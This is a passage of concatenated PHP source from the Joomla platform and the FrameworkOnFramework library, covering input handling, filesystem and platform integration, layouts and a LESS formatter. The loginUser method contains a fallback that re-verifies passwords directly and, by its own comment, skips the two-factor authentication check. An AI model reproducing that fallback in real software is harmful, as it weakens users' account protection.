* Define a value. The value will only be set if there's no value for
the name or if it is null.
*
* @param string $name Name of the value to define.
* @param mixed $value Value to assign to the input.
*
* @return void
*
* @since 12.1
*/
public function def($name, $value)
{
if (isset($this->data[$name]))
{
return;
}
$this->data[$name] = $value;
}
/**
* Magic method to get filtered input data.
*
* @param string $name Name of the filter type prefixed with
'get'.
* @param array $arguments [0] The name of the variable [1] The
default value.
*
* @return mixed The filtered input value.
*
* @since 11.1
*/
public function __call($name, $arguments)
{
if (substr($name, 0, 3) == 'get')
{
$filter = substr($name, 3);
$default = null;
if (isset($arguments[1]))
{
$default = $arguments[1];
}
return $this->get($arguments[0], $default, $filter);
}
}
/**
* Gets the request method.
*
* @return string The request method.
*
* @since 11.1
*/
public function getMethod()
{
$method = strtoupper($_SERVER['REQUEST_METHOD']);
return $method;
}
/**
* Method to serialize the input.
*
* @return string The serialized input.
*
* @since 12.1
*/
public function serialize()
{
// Load all of the inputs.
$this->loadAllInputs();
// Remove $_ENV and $_SERVER from the inputs.
$inputs = $this->inputs;
unset($inputs['env']);
unset($inputs['server']);
// Serialize the options, data, and inputs.
return serialize(array($this->options, $this->data, $inputs));
}
/**
* Method to unserialize the input.
*
* @param string $input The serialized input.
*
* @return JInput The input object.
*
* @since 12.1
*/
public function unserialize($input)
{
// Unserialize the options, data, and inputs.
list($this->options, $this->data, $this->inputs) =
unserialize($input);
// Load the filter.
if (isset($this->options['filter']))
{
$this->filter = $this->options['filter'];
}
else
{
$this->filter = JFilterInput::getInstance();
}
}
/**
* Method to load all of the global inputs.
*
* @return void
*
* @since 12.1
*/
protected function loadAllInputs()
{
static $loaded = false;
if (!$loaded)
{
// Load up all the globals.
foreach ($GLOBALS as $global => $data)
{
// Check if the global starts with an underscore.
if (strpos($global, '_') === 0)
{
// Convert global name to input name.
$global = strtolower($global);
$global = substr($global, 1);
// Get the input.
$this->$global;
}
}
$loaded = true;
}
}
}
<?php
/**
* @package Joomla.Platform
* @subpackage Input
*
* @copyright Copyright (C) 2005-2016 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Joomla! Input JSON Class
*
* This class decodes a JSON string from the raw request data and makes it
available via
* the standard JInput interface.
*
* @since 12.2
*/
class JInputJSON extends JInput
{
/**
* @var string The raw JSON string from the request.
* @since 12.2
*/
private $_raw;
/**
* Constructor.
*
* @param array $source Source data (Optional, default is the raw
HTTP input decoded from JSON)
* @param array $options Array of configuration parameters (Optional)
*
* @since 12.2
*/
public function __construct(array $source = null, array $options =
array())
{
if (isset($options['filter']))
{
$this->filter = $options['filter'];
}
else
{
$this->filter = JFilterInput::getInstance();
}
if (is_null($source))
{
$this->_raw = file_get_contents('php://input');
$this->data = json_decode($this->_raw, true);
}
else
{
$this->data = & $source;
}
// Set the options for the class.
$this->options = $options;
}
/**
* Gets the raw JSON string from the request.
*
* @return string The raw JSON string from the request.
*
* @since 12.2
*/
public function getRaw()
{
return $this->_raw;
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage platformFilesystem
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
class FOFIntegrationJoomlaFilesystem extends FOFPlatformFilesystem
implements FOFPlatformFilesystemInterface
{
public function __construct()
{
if (class_exists('JLoader'))
{
JLoader::import('joomla.filesystem.path');
JLoader::import('joomla.filesystem.folder');
JLoader::import('joomla.filesystem.file');
}
}
/**
* Does the file exists?
*
* @param $path string Path to the file to test
*
* @return bool
*/
public function fileExists($path)
{
return JFile::exists($path);
}
/**
* Delete a file or array of files
*
* @param mixed $file The file name or an array of file names
*
* @return boolean True on success
*
*/
public function fileDelete($file)
{
return JFile::delete($file);
}
/**
* Copies a file
*
* @param string $src The path to the source file
* @param string $dest The path to the destination file
* @param string $path An optional base path to prefix to
the file names
* @param boolean $use_streams True to use streams
*
* @return boolean True on success
*/
public function fileCopy($src, $dest, $path = null, $use_streams =
false)
{
return JFile::copy($src, $dest, $path, $use_streams);
}
/**
* Write contents to a file
*
* @param string $file The full file path
* @param string &$buffer The buffer to write
* @param boolean $use_streams Use streams
*
* @return boolean True on success
*/
public function fileWrite($file, &$buffer, $use_streams = false)
{
return JFile::write($file, $buffer, $use_streams);
}
/**
* Checks for snooping outside of the file system root.
*
* @param string $path A file system path to check.
*
* @return string A cleaned version of the path or exit on error.
*
* @throws Exception
*/
public function pathCheck($path)
{
return JPath::check($path);
}
/**
* Function to strip additional / or \ in a path name.
*
* @param string $path The path to clean.
* @param string $ds Directory separator (optional).
*
* @return string The cleaned path.
*
* @throws UnexpectedValueException
*/
public function pathClean($path, $ds = DIRECTORY_SEPARATOR)
{
return JPath::clean($path, $ds);
}
/**
* Searches the directory paths for a given file.
*
* @param mixed $paths An path string or array of path strings to
search in
* @param string $file The file name to look for.
*
* @return mixed The full path and file name for the target file, or
boolean false if the file is not found in any of the paths.
*/
public function pathFind($paths, $file)
{
return JPath::find($paths, $file);
}
/**
* Wrapper for the standard file_exists function
*
* @param string $path Folder name relative to installation dir
*
* @return boolean True if path is a folder
*/
public function folderExists($path)
{
return JFolder::exists($path);
}
/**
* Utility function to read the files in a folder.
*
* @param string $path The path of the folder to read.
* @param string $filter A filter for file names.
* @param mixed $recurse True to recursively search into
sub-folders, or an integer to specify the maximum depth.
* @param boolean $full True to return the full path to the
file.
* @param array $exclude Array with names of files which
should not be shown in the result.
* @param array $excludefilter Array of filter to exclude
* @param boolean $naturalSort False for asort, true for natsort
*
* @return array Files in the given folder.
*/
public function folderFiles($path, $filter = '.', $recurse =
false, $full = false, $exclude = array('.svn', 'CVS',
'.DS_Store', '__MACOSX'),
$excludefilter = array('^\..*',
'.*~'), $naturalSort = false)
{
return JFolder::files($path, $filter, $recurse, $full, $exclude,
$excludefilter, $naturalSort);
}
/**
* Utility function to read the folders in a folder.
*
* @param string $path The path of the folder to read.
* @param string $filter A filter for folder names.
* @param mixed $recurse True to recursively search into
sub-folders, or an integer to specify the maximum depth.
* @param boolean $full True to return the full path to the
folders.
* @param array $exclude Array with names of folders which
should not be shown in the result.
* @param array $excludefilter Array with regular expressions
matching folders which should not be shown in the result.
*
* @return array Folders in the given folder.
*/
public function folderFolders($path, $filter = '.', $recurse
= false, $full = false, $exclude = array('.svn', 'CVS',
'.DS_Store', '__MACOSX'),
$excludefilter =
array('^\..*'))
{
return JFolder::folders($path, $filter, $recurse, $full, $exclude,
$excludefilter);
}
/**
* Create a folder -- and all necessary parent folders.
*
* @param string $path A path to create from the base path.
* @param integer $mode Directory permissions to set for folders
created. 0755 by default.
*
* @return boolean True if successful.
*/
public function folderCreate($path = '', $mode = 0755)
{
return JFolder::create($path, $mode);
}
}<?php
/**
* @package FrameworkOnFramework
* @subpackage platform
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
* @note This file has been modified by the Joomla! Project and no
longer reflects the original work of its author.
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* Part of the FOF Platform Abstraction Layer.
*
* This implements the platform class for Joomla! 2.5 or later
*
* @package FrameworkOnFramework
* @since 2.1
*/
class FOFIntegrationJoomlaPlatform extends FOFPlatform implements
FOFPlatformInterface
{
/**
* The table and table field cache object, used to speed up database
access
*
* @var JRegistry|null
*/
private $_cache = null;
/**
* Public constructor
*/
public function __construct()
{
$this->name = 'joomla';
$this->humanReadableName = 'Joomla!';
$this->version = defined('JVERSION') ? JVERSION :
'0.0';
}
/**
* Checks if the current script is run inside a valid CMS execution
*
* @see FOFPlatformInterface::checkExecution()
*
* @return bool
*/
public function checkExecution()
{
return defined('_JEXEC');
}
public function raiseError($code, $message)
{
if (version_compare($this->version, '3.0',
'ge'))
{
throw new Exception($message, $code);
}
else
{
return JError::raiseError($code, $message);
}
}
/**
* Is this platform enabled?
*
* @see FOFPlatformInterface::isEnabled()
*
* @return boolean
*/
public function isEnabled()
{
if (is_null($this->isEnabled))
{
$this->isEnabled = true;
// Make sure _JEXEC is defined
if (!defined('_JEXEC'))
{
$this->isEnabled = false;
}
// We need JVERSION to be defined
if ($this->isEnabled)
{
if (!defined('JVERSION'))
{
$this->isEnabled = false;
}
}
// Check if JFactory exists
if ($this->isEnabled)
{
if (!class_exists('JFactory'))
{
$this->isEnabled = false;
}
}
// Check if JApplication exists
if ($this->isEnabled)
{
$appExists = class_exists('JApplication');
$appExists = $appExists || class_exists('JCli');
$appExists = $appExists || class_exists('JApplicationCli');
if (!$appExists)
{
$this->isEnabled = false;
}
}
}
return $this->isEnabled;
}
/**
* Main function to detect if we're running in a CLI environment and
we're admin
*
* @return array isCLI and isAdmin. It's not an associative array,
so we can use list.
*/
protected function isCliAdmin()
{
static $isCLI = null;
static $isAdmin = null;
if (is_null($isCLI) && is_null($isAdmin))
{
try
{
if (is_null(JFactory::$application))
{
$isCLI = true;
}
else
{
$app = JFactory::getApplication();
$isCLI = $app instanceof JException || $app instanceof
JApplicationCli;
}
}
catch (Exception $e)
{
$isCLI = true;
}
if ($isCLI)
{
$isAdmin = false;
}
else
{
$isAdmin = !JFactory::$application ? false :
JFactory::getApplication()->isAdmin();
}
}
return array($isCLI, $isAdmin);
}
/**
* Returns absolute path to directories used by the CMS.
*
* @see FOFPlatformInterface::getPlatformBaseDirs()
*
* @return array A hash array with keys root, public, admin, tmp and
log.
*/
public function getPlatformBaseDirs()
{
return array(
'root' => JPATH_ROOT,
'public' => JPATH_SITE,
'admin' => JPATH_ADMINISTRATOR,
'tmp' =>
JFactory::getConfig()->get('tmp_dir'),
'log' =>
JFactory::getConfig()->get('log_dir')
);
}
/**
* Returns the base (root) directories for a given component.
*
* @param string $component The name of the component. For Joomla!
this
* is something like "com_example"
*
* @see FOFPlatformInterface::getComponentBaseDirs()
*
* @return array A hash array with keys main, alt, site and admin.
*/
public function getComponentBaseDirs($component)
{
if ($this->isFrontend())
{
$mainPath = JPATH_SITE . '/components/' . $component;
$altPath = JPATH_ADMINISTRATOR . '/components/' . $component;
}
else
{
$mainPath = JPATH_ADMINISTRATOR . '/components/' . $component;
$altPath = JPATH_SITE . '/components/' . $component;
}
return array(
'main' => $mainPath,
'alt' => $altPath,
'site' => JPATH_SITE . '/components/' .
$component,
'admin' => JPATH_ADMINISTRATOR . '/components/' .
$component,
);
}
/**
* Return a list of the view template paths for this component.
*
* @param string $component The name of the component. For Joomla!
this
* is something like "com_example"
* @param string $view The name of the view you're looking
a
* template for
* @param string $layout The layout name to load, e.g.
'default'
* @param string $tpl The sub-template name to load (null by
default)
* @param boolean $strict If true, only the specified layout will
be searched for.
* Otherwise we'll fall back to the
'default' layout if the
* specified layout is not found.
*
* @see FOFPlatformInterface::getViewTemplateDirs()
*
* @return array
*/
public function getViewTemplatePaths($component, $view, $layout =
'default', $tpl = null, $strict = false)
{
$isAdmin = $this->isBackend();
$basePath = $isAdmin ? 'admin:' : 'site:';
$basePath .= $component . '/';
$altBasePath = $basePath;
$basePath .= $view . '/';
$altBasePath .= (FOFInflector::isSingular($view) ?
FOFInflector::pluralize($view) : FOFInflector::singularize($view)) .
'/';
if ($strict)
{
$paths = array(
$basePath . $layout . ($tpl ? "_$tpl" : ''),
$altBasePath . $layout . ($tpl ? "_$tpl" : ''),
);
}
else
{
$paths = array(
$basePath . $layout . ($tpl ? "_$tpl" : ''),
$basePath . $layout,
$basePath . 'default' . ($tpl ? "_$tpl" :
''),
$basePath . 'default',
$altBasePath . $layout . ($tpl ? "_$tpl" : ''),
$altBasePath . $layout,
$altBasePath . 'default' . ($tpl ? "_$tpl" :
''),
$altBasePath . 'default',
);
$paths = array_unique($paths);
}
return $paths;
}
/**
* Get application-specific suffixes to use with template paths. This
allows
* you to look for view template overrides based on the application
version.
*
* @return array A plain array of suffixes to try in template names
*/
public function getTemplateSuffixes()
{
$jversion = new JVersion;
$versionParts = explode('.', $jversion->RELEASE);
$majorVersion = array_shift($versionParts);
$suffixes = array(
'.j' . str_replace('.', '',
$jversion->getHelpVersion()),
'.j' . $majorVersion,
);
return $suffixes;
}
/**
* Return the absolute path to the application's template overrides
* directory for a specific component. We will use it to look for template
* files instead of the regular component directories. If the application
* does not have such a thing as template overrides return an empty
string.
*
* @param string $component The name of the component for which to
fetch the overrides
* @param boolean $absolute Should I return an absolute or relative
path?
*
* @return string The path to the template overrides directory
*/
public function getTemplateOverridePath($component, $absolute = true)
{
list($isCli, $isAdmin) = $this->isCliAdmin();
if (!$isCli)
{
if ($absolute)
{
$path = JPATH_THEMES . '/';
}
else
{
$path = $isAdmin ? 'administrator/templates/' :
'templates/';
}
if (substr($component, 0, 7) == 'media:/')
{
$directory = 'media/' . substr($component, 7);
}
else
{
$directory = 'html/' . $component;
}
$path .= JFactory::getApplication()->getTemplate() .
'/' . $directory;
}
else
{
$path = '';
}
return $path;
}
/**
* Load the translation files for a given component.
*
* @param string $component The name of the component. For Joomla!
this
* is something like "com_example"
*
* @see FOFPlatformInterface::loadTranslations()
*
* @return void
*/
public function loadTranslations($component)
{
if ($this->isBackend())
{
$paths = array(JPATH_ROOT, JPATH_ADMINISTRATOR);
}
else
{
$paths = array(JPATH_ADMINISTRATOR, JPATH_ROOT);
}
$jlang = JFactory::getLanguage();
$jlang->load($component, $paths[0], 'en-GB', true);
$jlang->load($component, $paths[0], null, true);
$jlang->load($component, $paths[1], 'en-GB', true);
$jlang->load($component, $paths[1], null, true);
}
/**
* Authorise access to the component in the back-end.
*
* @param string $component The name of the component.
*
* @see FOFPlatformInterface::authorizeAdmin()
*
* @return boolean True to allow loading the component, false to halt
loading
*/
public function authorizeAdmin($component)
{
if ($this->isBackend())
{
// Master access check for the back-end, Joomla! 1.6 style.
$user = JFactory::getUser();
if (!$user->authorise('core.manage', $component)
&& !$user->authorise('core.admin', $component))
{
return false;
}
}
return true;
}
/**
* Return a user object.
*
* @param integer $id The user ID to load. Skip or use null to
retrieve
* the object for the currently logged in user.
*
* @see FOFPlatformInterface::getUser()
*
* @return JUser The JUser object for the specified user
*/
public function getUser($id = null)
{
return JFactory::getUser($id);
}
/**
* Returns the JDocument object which handles this component's
response.
*
* @see FOFPlatformInterface::getDocument()
*
* @return JDocument
*/
public function getDocument()
{
$document = null;
if (!$this->isCli())
{
try
{
$document = JFactory::getDocument();
}
catch (Exception $exc)
{
$document = null;
}
}
return $document;
}
/**
* Returns an object to handle dates
*
* @param mixed $time The initial time
* @param null $tzOffest The timezone offset
* @param bool $locale Should I try to load a specific class
for current language?
*
* @return JDate object
*/
public function getDate($time = 'now', $tzOffest = null,
$locale = true)
{
if($locale)
{
return JFactory::getDate($time, $tzOffest);
}
else
{
return new JDate($time, $tzOffest);
}
}
public function getLanguage()
{
return JFactory::getLanguage();
}
public function getDbo()
{
return
FOFDatabaseFactory::getInstance()->getDriver('joomla');
}
/**
* This method will try retrieving a variable from the request (input)
data.
*
* @param string $key The user state key for the variable
* @param string $request The request variable name for the
variable
* @param FOFInput $input The FOFInput object with the request
(input) data
* @param mixed $default The default value. Default: null
* @param string $type The filter type for the variable
data. Default: none (no filtering)
* @param boolean $setUserState Should I set the user state with the
fetched value?
*
* @see FOFPlatformInterface::getUserStateFromRequest()
*
* @return mixed The value of the variable
*/
public function getUserStateFromRequest($key, $request, $input, $default =
null, $type = 'none', $setUserState = true)
{
list($isCLI, $isAdmin) = $this->isCliAdmin();
if ($isCLI)
{
return $input->get($request, $default, $type);
}
$app = JFactory::getApplication();
if (method_exists($app, 'getUserState'))
{
$old_state = $app->getUserState($key, $default);
}
else
{
$old_state = null;
}
$cur_state = (!is_null($old_state)) ? $old_state : $default;
$new_state = $input->get($request, null, $type);
// Save the new value only if it was set in this request
if ($setUserState)
{
if ($new_state !== null)
{
$app->setUserState($key, $new_state);
}
else
{
$new_state = $cur_state;
}
}
elseif (is_null($new_state))
{
$new_state = $cur_state;
}
return $new_state;
}
/**
* Load plugins of a specific type. Obviously this seems to only be
required
* in the Joomla! CMS.
*
* @param string $type The type of the plugins to be loaded
*
* @see FOFPlatformInterface::importPlugin()
*
* @return void
*/
public function importPlugin($type)
{
if (!$this->isCli())
{
JLoader::import('joomla.plugin.helper');
JPluginHelper::importPlugin($type);
}
}
/**
* Execute plugins (system-level triggers) and fetch back an array with
* their return values.
*
* @param string $event The event (trigger) name, e.g.
onBeforeScratchMyEar
* @param array $data A hash array of data sent to the plugins as
part of the trigger
*
* @see FOFPlatformInterface::runPlugins()
*
* @return array A simple array containing the results of the plugins
triggered
*/
public function runPlugins($event, $data)
{
if (!$this->isCli())
{
$app = JFactory::getApplication();
if (method_exists($app, 'triggerEvent'))
{
return $app->triggerEvent($event, $data);
}
// IMPORTANT: DO NOT REPLACE THIS INSTANCE OF JDispatcher WITH ANYTHING
ELSE. WE NEED JOOMLA!'S PLUGIN EVENT
// DISPATCHER HERE, NOT OUR GENERIC EVENTS DISPATCHER
if (class_exists('JEventDispatcher'))
{
$dispatcher = JEventDispatcher::getInstance();
}
else
{
$dispatcher = JDispatcher::getInstance();
}
return $dispatcher->trigger($event, $data);
}
else
{
return array();
}
}
/**
* Perform an ACL check.
*
* @param string $action The ACL privilege to check, e.g. core.edit
* @param string $assetname The asset name to check, typically the
component's name
*
* @see FOFPlatformInterface::authorise()
*
* @return boolean True if the user is allowed this action
*/
public function authorise($action, $assetname)
{
if ($this->isCli())
{
return true;
}
return JFactory::getUser()->authorise($action, $assetname);
}
/**
* Is this the administrative section of the component?
*
* @see FOFPlatformInterface::isBackend()
*
* @return boolean
*/
public function isBackend()
{
list ($isCli, $isAdmin) = $this->isCliAdmin();
return $isAdmin && !$isCli;
}
/**
* Is this the public section of the component?
*
* @see FOFPlatformInterface::isFrontend()
*
* @return boolean
*/
public function isFrontend()
{
list ($isCli, $isAdmin) = $this->isCliAdmin();
return !$isAdmin && !$isCli;
}
/**
* Is this a component running in a CLI application?
*
* @see FOFPlatformInterface::isCli()
*
* @return boolean
*/
public function isCli()
{
list ($isCli, $isAdmin) = $this->isCliAdmin();
return !$isAdmin && $isCli;
}
/**
* Is AJAX re-ordering supported? This is 100% Joomla!-CMS specific. All
* other platforms should return false and never ask why.
*
* @see FOFPlatformInterface::supportsAjaxOrdering()
*
* @return boolean
*/
public function supportsAjaxOrdering()
{
return version_compare(JVERSION, '3.0', 'ge');
}
/**
* Is the global FOF cache enabled?
*
* @return boolean
*/
public function isGlobalFOFCacheEnabled()
{
return !(defined('JDEBUG') && JDEBUG);
}
/**
* Saves something to the cache. This is supposed to be used for
system-wide
* FOF data, not application data.
*
* @param string $key The key of the data to save
* @param string $content The actual data to save
*
* @return boolean True on success
*/
public function setCache($key, $content)
{
$registry = $this->getCacheObject();
$registry->set($key, $content);
return $this->saveCache();
}
/**
* Retrieves data from the cache. This is supposed to be used for
system-side
* FOF data, not application data.
*
* @param string $key The key of the data to retrieve
* @param string $default The default value to return if the key is
not found or the cache is not populated
*
* @return string The cached value
*/
public function getCache($key, $default = null)
{
$registry = $this->getCacheObject();
return $registry->get($key, $default);
}
/**
* Gets a reference to the cache object, loading it from the disk if
* needed.
*
* @param boolean $force Should I forcibly reload the registry?
*
* @return JRegistry
*/
private function &getCacheObject($force = false)
{
// Check if we have to load the cache file or we are forced to do that
if (is_null($this->_cache) || $force)
{
// Create a new JRegistry object
JLoader::import('joomla.registry.registry');
$this->_cache = new JRegistry;
// Try to get data from Joomla!'s cache
$cache = JFactory::getCache('fof', '');
$data = $cache->get('cache', 'fof');
// If data is not found, fall back to the legacy (FOF 2.1.rc3 and
earlier) method
if ($data === false)
{
// Find the path to the file
$cachePath = JPATH_CACHE . '/fof';
$filename = $cachePath . '/cache.php';
$filesystem =
$this->getIntegrationObject('filesystem');
// Load the cache file if it exists. JRegistryFormatPHP fails
// miserably, so I have to work around it.
if ($filesystem->fileExists($filename))
{
@include_once $filename;
$filesystem->fileDelete($filename);
$className = 'FOFCacheStorage';
if (class_exists($className))
{
$object = new $className;
$this->_cache->loadObject($object);
$options = array(
'class' => 'FOFCacheStorage'
);
$cache->store($this->_cache, 'cache',
'fof');
}
}
}
else
{
$this->_cache = $data;
}
}
return $this->_cache;
}
/**
* Save the cache object back to disk
*
* @return boolean True on success
*/
private function saveCache()
{
// Get the JRegistry object of our cached data
$registry = $this->getCacheObject();
$cache = JFactory::getCache('fof', '');
return $cache->store($registry, 'cache', 'fof');
}
/**
* Clears the cache of system-wide FOF data. You are supposed to call this
in
* your components' installation script post-installation and
post-upgrade
* methods or whenever you are modifying the structure of database tables
* accessed by FOF. Please note that FOF's cache never expires and is
not
* purged by Joomla!. You MUST use this method to manually purge the
cache.
*
* @return boolean True on success
*/
public function clearCache()
{
$false = false;
$cache = JFactory::getCache('fof', '');
$cache->store($false, 'cache', 'fof');
}
public function getConfig()
{
return JFactory::getConfig();
}
/**
* logs in a user
*
* @param array $authInfo authentication information
*
* @return boolean True on success
*/
public function loginUser($authInfo)
{
JLoader::import('joomla.user.authentication');
$options = array('remember' => false);
$authenticate = JAuthentication::getInstance();
$response = $authenticate->authenticate($authInfo, $options);
// User failed to authenticate: maybe he enabled two factor
authentication?
// Let's try again "manually", skipping the check vs
two factor auth
// Due the big mess with encryption algorithms and libraries, we
are doing this extra check only
// if we're in Joomla 2.5.18+ or 3.2.1+
if($response->status != JAuthentication::STATUS_SUCCESS
&& method_exists('JUserHelper',
'verifyPassword'))
{
$db = $this->getDbo();
$query = $db->getQuery(true)
->select('id, password')
->from('#__users')
->where('username=' .
$db->quote($authInfo['username']));
$result = $db->setQuery($query)->loadObject();
if ($result)
{
$match =
JUserHelper::verifyPassword($authInfo['password'],
$result->password, $result->id);
if ($match === true)
{
// Bring this in line with the rest of the system
$user = JUser::getInstance($result->id);
$response->email = $user->email;
$response->fullname = $user->name;
if (JFactory::getApplication()->isAdmin())
{
$response->language =
$user->getParam('admin_language');
}
else
{
$response->language =
$user->getParam('language');
}
$response->status = JAuthentication::STATUS_SUCCESS;
$response->error_message = '';
}
}
}
if ($response->status == JAuthentication::STATUS_SUCCESS)
{
$this->importPlugin('user');
$results = $this->runPlugins('onLoginUser', array((array)
$response, $options));
JLoader::import('joomla.user.helper');
$userid = JUserHelper::getUserId($response->username);
$user = $this->getUser($userid);
$session = JFactory::getSession();
$session->set('user', $user);
return true;
}
return false;
}
/**
* logs out a user
*
* @return boolean True on success
*/
public function logoutUser()
{
JLoader::import('joomla.user.authentication');
$app = JFactory::getApplication();
$options = array('remember' => false);
$parameters = array('username' =>
$this->getUser()->username);
return $app->triggerEvent('onLogoutUser', array($parameters,
$options));
}
public function logAddLogger($file)
{
if (!class_exists('JLog'))
{
return;
}
JLog::addLogger(array('text_file' => $file),
JLog::ALL, array('fof'));
}
/**
* Logs a deprecated practice. In Joomla! this results in the $message
being output in the
* deprecated log file, found in your site's log directory.
*
* @param string $message The deprecated practice log message
*
* @return void
*/
public function logDeprecated($message)
{
if (!class_exists('JLog'))
{
return;
}
JLog::add($message, JLog::WARNING, 'deprecated');
}
public function logDebug($message)
{
if (!class_exists('JLog'))
{
return;
}
JLog::add($message, JLog::DEBUG, 'fof');
}
/**
* Returns the root URI for the request.
*
* @param boolean $pathonly If false, prepend the scheme, host and
port information. Default is false.
* @param string $path The path
*
* @return string The root URI string.
*/
public function URIroot($pathonly = false, $path = null)
{
JLoader::import('joomla.environment.uri');
return JUri::root($pathonly, $path);
}
/**
* Returns the base URI for the request.
*
* @param boolean $pathonly If false, prepend the scheme, host and
port information. Default is false.
* |
* @return string The base URI string
*/
public function URIbase($pathonly = false)
{
JLoader::import('joomla.environment.uri');
return JUri::base($pathonly);
}
/**
* Method to set a response header. If the replace flag is set then
all headers
* with the given name will be replaced by the new one (only if the
current platform supports header caching)
*
* @param string $name The name of the header to set.
* @param string $value The value of the header to set.
* @param boolean $replace True to replace any headers with the
same name.
*
* @return void
*/
public function setHeader($name, $value, $replace = false)
{
if (version_compare($this->version, '3.2', 'ge'))
{
JFactory::getApplication()->setHeader($name, $value, $replace);
}
else
{
JResponse::setHeader($name, $value, $replace);
}
}
public function sendHeaders()
{
if (version_compare($this->version, '3.2',
'ge'))
{
JFactory::getApplication()->sendHeaders();
}
else
{
JResponse::sendHeaders();
}
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage layout
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* Base class for rendering a display layout
* loaded from from a layout file
*
* This class searches for Joomla! version override Layouts. For example,
* if you have run this under Joomla! 3.0 and you try to load
* mylayout.default it will automatically search for the
* layout files default.j30.php, default.j3.php and default.php, in this
* order.
*
* @package FrameworkOnFramework
* @since 1.0
*/
class FOFLayoutFile extends JLayoutFile
{
/**
* Method to finds the full real file path, checking possible overrides
*
* @return string The full path to the layout file
*/
protected function getPath()
{
$filesystem =
FOFPlatform::getInstance()->getIntegrationObject('filesystem');
if (is_null($this->fullPath) && !empty($this->layoutId))
{
$parts = explode('.', $this->layoutId);
$file = array_pop($parts);
$filePath = implode('/', $parts);
$suffixes = FOFPlatform::getInstance()->getTemplateSuffixes();
foreach ($suffixes as $suffix)
{
$files[] = $file . $suffix . '.php';
}
$files[] = $file . '.php';
$platformDirs =
FOFPlatform::getInstance()->getPlatformBaseDirs();
$prefix = FOFPlatform::getInstance()->isBackend() ?
$platformDirs['admin'] : $platformDirs['root'];
$possiblePaths = array(
$prefix . '/templates/' .
JFactory::getApplication()->getTemplate() . '/html/layouts/' .
$filePath,
$this->basePath . '/' . $filePath
);
reset($files);
while ((list(, $fileName) = each($files)) &&
is_null($this->fullPath))
{
$r = $filesystem->pathFind($possiblePaths, $fileName);
$this->fullPath = $r === false ? null : $r;
}
}
return $this->fullPath;
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage layout
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
* @note This file has been modified by the Joomla! Project and no
longer reflects the original work of its author.
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* Helper to render a FOFLayout object, storing a base path
*
* @package FrameworkOnFramework
* @since x.y
*/
class FOFLayoutHelper extends JLayoutHelper
{
/**
* Method to render the layout.
*
* @param string $layoutFile Dot separated path to the layout file,
relative to base path
* @param object $displayData Object which properties are used inside
the layout file to build displayed output
* @param string $basePath Base path to use when loading layout
files
* @param mixed $options Optional custom options to load.
Registry or array format
*
* @return string
*/
public static function render($layoutFile, $displayData = null, $basePath
= '', $options = null)
{
$basePath = empty($basePath) ? self::$defaultBasePath : $basePath;
// Make sure we send null to FOFLayoutFile if no path set
$basePath = empty($basePath) ? null : $basePath;
$layout = new FOFLayoutFile($layoutFile, $basePath, $options);
$renderedLayout = $layout->render($displayData);
return $renderedLayout;
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage less
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
* @note This file has been modified by the Joomla! Project and no
longer reflects the original work of its author.
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* This class is taken verbatim from:
*
* lessphp v0.3.9
* http://leafo.net/lessphp
*
* LESS css compiler, adapted from http://lesscss.org
*
* Copyright 2012, Leaf Corcoran <leafot@gmail.com>
* Licensed under MIT or GPLv3, see LICENSE
*
* @package FrameworkOnFramework
* @since 2.0
*/
class FOFLessFormatterClassic
{
public $indentChar = " ";
public $break = "\n";
public $open = " {";
public $close = "}";
public $selectorSeparator = ", ";
public $assignSeparator = ":";
public $openSingle = " { ";
public $closeSingle = " }";
public $disableSingle = false;
public $breakSelectors = false;
public $compressColors = false;
/**
* Public constructor
*/
public function __construct()
{
$this->indentLevel = 0;
}
/**
* Indent a string by $n positions
*
* @param integer $n How many positions to indent
*
* @return string The indented string
*/
public function indentStr($n = 0)
{
return str_repeat($this->indentChar, max($this->indentLevel + $n,
0));
}
/**
* Return the code for a property
*
* @param string $name The name of the property
* @param string $value The value of the property
*
* @return string The CSS code
*/
public function property($name, $value)
{
return $name . $this->assignSeparator . $value . ";";
}
/**
* Is a block empty?
*
* @param stdClass $block The block to check
*
* @return boolean True if the block has no lines or children
*/
protected function isEmpty($block)
{
if (empty($block->lines))
{
foreach ($block->children as $child)
{
if (!$this->isEmpty($child))
{
return false;
}
}
return true;
}
return false;
}
/**
* Output a CSS block
*
* @param stdClass $block The block definition to output
*
* @return void
*/
public function block($block)
{
if ($this->isEmpty($block))
{
return;
}
$inner = $pre = $this->indentStr();
$isSingle = !$this->disableSingle &&
is_null($block->type) && count($block->lines) == 1;
if (!empty($block->selectors))
{
$this->indentLevel++;
if ($this->breakSelectors)
{
$selectorSeparator = $this->selectorSeparator . $this->break .
$pre;
}
else
{
$selectorSeparator = $this->selectorSeparator;
}
echo $pre .
implode($selectorSeparator, $block->selectors);
if ($isSingle)
{
echo $this->openSingle;
$inner = "";
}
else
{
echo $this->open . $this->break;
$inner = $this->indentStr();
}
}
if (!empty($block->lines))
{
$glue = $this->break . $inner;
echo $inner . implode($glue, $block->lines);
if (!$isSingle && !empty($block->children))
{
echo $this->break;
}
}
foreach ($block->children as $child)
{
$this->block($child);
}
if (!empty($block->selectors))
{
if (!$isSingle && empty($block->children))
{
echo $this->break;
}
if ($isSingle)
{
echo $this->closeSingle . $this->break;
}
else
{
echo $pre . $this->close . $this->break;
